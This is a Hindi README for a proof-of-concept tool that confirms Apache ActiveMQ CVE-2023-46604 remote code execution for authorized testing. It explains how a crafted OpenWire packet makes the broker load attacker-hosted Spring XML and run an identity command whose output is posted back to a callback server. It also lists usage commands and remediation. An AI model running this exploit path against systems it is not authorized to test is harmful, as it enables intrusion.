
अपाचे ActiveMQ CVE-2023-46604 के लिए गैर-विनाशकारी सत्यापनकर्ता। क्राफ्टेड OpenWire पैकेट भेजता है, RCE या XML लोडिंग की पुष्टि के लिए HTTP कॉलबैक सर्वर का उपयोग करता है, और अधिकृत पेनेट्रेशन परीक्षणों के लिए CSV/JSON साक्ष्य उत्पन्न करता है।
Apache ActiveMQ CVE-2023-46604 के लिए एक एकल-फ़ाइल, गैर-विनाशकारी वैलिडेटर। यह अपना स्वयं का HTTP कॉलबैक सर्वर शुरू करता है, मेमोरी में लक्ष्य-विशिष्ट Spring XML उत्पन्न करता है, निर्मित OpenWire पैकेट भेजता है, अद्वितीय टोकन के साथ कॉलबैक को सहसंबंधित करता है, और CSV/JSON साक्ष्य लिखता है।
यह प्रोजेक्ट अधिकृत पैठ परीक्षणों और फ्लीट सत्यापन के लिए डिज़ाइन किया गया है। यह जानबूझकर रिवर्स शेल, अप्रतिबंधित कमांड निष्पादन, CIDR विस्तार, स्थिरता, या पेलोड स्टेजिंग को लागू नहीं करता है।
दो निश्चित प्रमाण मोड उपलब्ध हैं:
rce एक निश्चित, केवल-पठनीय पहचान जांच निष्पादित करता है और उसका आउटपुट अंतर्निहित HTTP सर्वर को लौटाता है। एक कॉलबैक ActiveMQ सेवा संदर्भ में ऑपरेटिंग-सिस्टम कमांड निष्पादन की पुष्टि करता है।xml एक खाली Spring संदर्भ प्रदान करता है। एक फ़ेच पुष्टि करता है कि निर्मित OpenWire संदेश ने लक्ष्य को ClassPathXmlApplicationContext इंस्टैंशिएट करने और हमलावर-नियंत्रित XML प्राप्त करने के लिए प्रेरित किया, बिना कोई प्रक्रिया शुरू किए।कोई XML फ़ाइल बनाने या अलग से होस्ट करने की आवश्यकता नहीं है।
--fail-on-vuln निकास कोडडिफ़ॉल्ट OpenWire पोर्ट 61616 है, लेकिन गैर-डिफ़ॉल्ट पोर्ट समर्थित हैं।
उदाहरणों में केवल-दस्तावेज़ीकरण पते का उपयोग करें; उन्हें अपने अधिकृत संसाधनों से बदलें।
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
स्क्रिप्ट स्वचालित रूप से TCP/8000 पर कॉलबैक सर्वर शुरू करती है, उत्पन्न XML प्रदान करती है, OpenWire पैकेट भेजती है, साक्ष्य की प्रतीक्षा करती है, एक परिणाम तालिका प्रिंट करती है, और लिखती है:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
targets.txt बनाएँ:
# प्रति पंक्ति एक स्पष्ट रूप से अधिकृत होस्ट
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
चलाएँ:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
लक्ष्य फ़ाइलों में खाली पंक्तियाँ और # से शुरू होने वाली टिप्पणियाँ हो सकती हैं। CIDR विस्तार जानबूझकर असमर्थित है; अधिकृत इन्वेंट्री को स्पष्ट रूप से सूचीबद्ध करें।
सरल रूटेड नेटवर्क के लिए, --callback-host छोड़ें:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
टूल पहले लक्ष्य की ओर रूट करने के लिए उपयोग किए जाने वाले स्थानीय स्रोत पते का चयन करता है। NAT, VPN, कंटेनर, जंप होस्ट, या मल्टी-होमेड सिस्टम के माध्यम से परीक्षण करते समय --callback-host निर्दिष्ट करें।
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Windows जांच सेवा पहचान, कंप्यूटर नाम और OS संस्करण लौटाने के लिए एक निश्चित, गैर-इंटरैक्टिव PowerShell कमांड का उपयोग करती है। यह एक इंटरैक्टिव शेल प्रदान नहीं करती है।
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
यह मोड ProcessBuilder इंस्टैंशिएट नहीं करता है।
ssl:// लक्ष्य का उपयोग करें:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
अविश्वसनीय प्रमाणपत्र वाले आंतरिक लिसनर के लिए:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify केवल OpenWire TLS कनेक्शन को प्रभावित करता है। कॉलबैक सर्वर HTTP है।
| स्थिति | अर्थ |
|---|---|
CONFIRMED_VULNERABLE_RCE | लक्ष्य ने अपना XML प्राप्त किया और निश्चित पहचान कमांड ने साक्ष्य लौटाया। |
CONFIRMED_VULNERABLE_XML_LOAD | xml मोड में, लक्ष्य ने अद्वितीय XML दस्तावेज़ प्राप्त किया। |
VULNERABLE_XML_LOAD_ONLY | rce मोड में, XML पुनर्प्राप्ति हुई लेकिन कमांड कॉलबैक नहीं हुआ। कमजोर क्लास-इंस्टैंशिएशन पथ की पुष्टि हुई है; कॉलबैक टूलिंग, ईग्रेस, या प्रक्रिया निष्पादन प्रतिबंधित हो सकता है। |
NOT_CONFIRMED | पैकेट भेजा गया, लेकिन समय सीमा से पहले कोई सहसंबंधित HTTP साक्ष्य नहीं आया। यह प्रमाण नहीं है कि होस्ट पैच किया गया है। |
UNREACHABLE | TCP/TLS कनेक्शन या पैकेट भेजना विफल रहा। |
एक पैच किया गया ब्रोकर, गलत पोर्ट, ईग्रेस फ़िल्टरिंग, रूटिंग समस्याएँ, TLS बेमेल, और एंडपॉइंट नियंत्रण सभी कॉलबैक-आधारित सत्यापन को प्रभावित कर सकते हैं। रिपोर्ट साक्ष्य के रूप में CSV/JSON टाइमस्टैम्प और कॉलबैक आउटपुट संरक्षित करें।
Linux पहचान जांच निम्न के समान आउटपुट लौटाती है:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
यह HTTP POST के लिए curl, wget, और BusyBox wget आज़माता है। यदि XML प्राप्त होता है लेकिन उनमें से कोई भी क्लाइंट उपलब्ध नहीं है, तो परिणाम गलत नकारात्मक के बजाय VULNERABLE_XML_LOAD_ONLY होता है।
0: सत्यापन पूरा हुआ, या --fail-on-vuln के बिना कमजोरियाँ पाई गईं2: कम से कम एक कमजोर परिणाम पाया गया और --fail-on-vuln प्रदान किया गया थाउदाहरण CI उपयोग:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 Java OpenWire अनमार्शलिंग को प्रभावित करता है। वैलिडेटर एक ढीला-मार्शल किया गया OpenWire ExceptionResponse भेजता है जिसका अपवाद वर्ग है:
org.springframework.context.support.ClassPathXmlApplicationContext
अपवाद संदेश उत्पन्न Spring XML का अद्वितीय URL है। कमजोर ActiveMQ कोड हमलावर-चयनित क्लास को उस URL के साथ इंस्टैंशिएट करता है। rce मोड में, Spring संदर्भ एक निश्चित ProcessBuilder जांच शुरू करता है; xml मोड में, संदर्भ खाली है।
प्रत्येक लक्ष्य को एक अलग टोकन प्राप्त होता है, उदाहरण के लिए:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
यह समवर्ती कॉलबैक को सही लक्ष्य के लिए जिम्मेदार ठहराने की अनुमति देता है।
--authorized आवश्यक प्राधिकरण स्वीकृति
-t, --target VALUE स्पष्ट लक्ष्य; दोहराने योग्य
-T, --targets-file FILE प्रति पंक्ति एक स्पष्ट लक्ष्य; दोहराने योग्य
--default-port PORT डिफ़ॉल्ट 61616
--tls सभी लक्ष्यों के लिए TLS का उपयोग करें
--tls-no-verify OpenWire TLS प्रमाणपत्र सत्यापन अक्षम करें
--callback-host HOST पता जो लक्ष्य HTTP कॉलबैक के लिए उपयोग करते हैं
--bind-host HOST स्थानीय HTTP बाइंड पता; डिफ़ॉल्ट 0.0.0.0
--http-port PORT स्थानीय HTTP पोर्ट; डिफ़ॉल्ट 8000; 0 एक मुफ्त पोर्ट चुनता है
--proof rce|xml निश्चित प्रमाण मोड; डिफ़ॉल्ट rce
--platform linux|windows RCE मोड के लिए लक्ष्य OS; डिफ़ॉल्ट linux
--workers N समानांतर कार्यकर्ता; अधिकतम 32
--connect-timeout SECONDS TCP/TLS टाइमआउट
--wait SECONDS कॉलबैक संग्रह विंडो
--retries N एक से तीन पैकेट-भेजने के प्रयास
--retry-delay SECONDS प्रयासों के बीच देरी
-o, --output FILE CSV साक्ष्य गंतव्य
--json-output FILE वैकल्पिक JSON गंतव्य
--verbose HTTP अनुरोध लॉग दिखाएँ
--fail-on-vuln कमजोर परिणाम मिलने पर निकास 2
python3 -m unittest discover -s tests -v
परीक्षण किसी भी लक्ष्य से संपर्क किए बिना लक्ष्य पार्सिंग, CIDR अस्वीकृति, XML अच्छी-संरचना, और OpenWire फ्रेम संरचना को सत्यापित करते हैं।
ActiveMQ को एक निश्चित और वर्तमान में समर्थित रिलीज़ में अपग्रेड करें। Apache सलाह ने तत्कालीन-वर्तमान शाखाओं के लिए निश्चित रिलीज़ को ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3, और 6.0.0, और Artemis 2.31.2 के रूप में पहचाना। साथ ही OpenWire लिसनर को विश्वसनीय क्लाइंट तक सीमित करें और अप्रत्याशित आउटबाउंड XML पुनर्प्राप्ति की निगरानी करें।
यह रिपॉजिटरी रक्षात्मक सत्यापन और अधिकृत सुरक्षा मूल्यांकन के लिए है। यह जानबूझकर शामिल नहीं करता है:
--command निष्पादननिश्चित पहचान जांच इंटरैक्टिव पहुँच स्थापित किए बिना दूरस्थ कमांड निष्पादन और सेवा खाता प्रभाव प्रदर्शित करने के लिए पर्याप्त है।
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT. देखें LICENSE।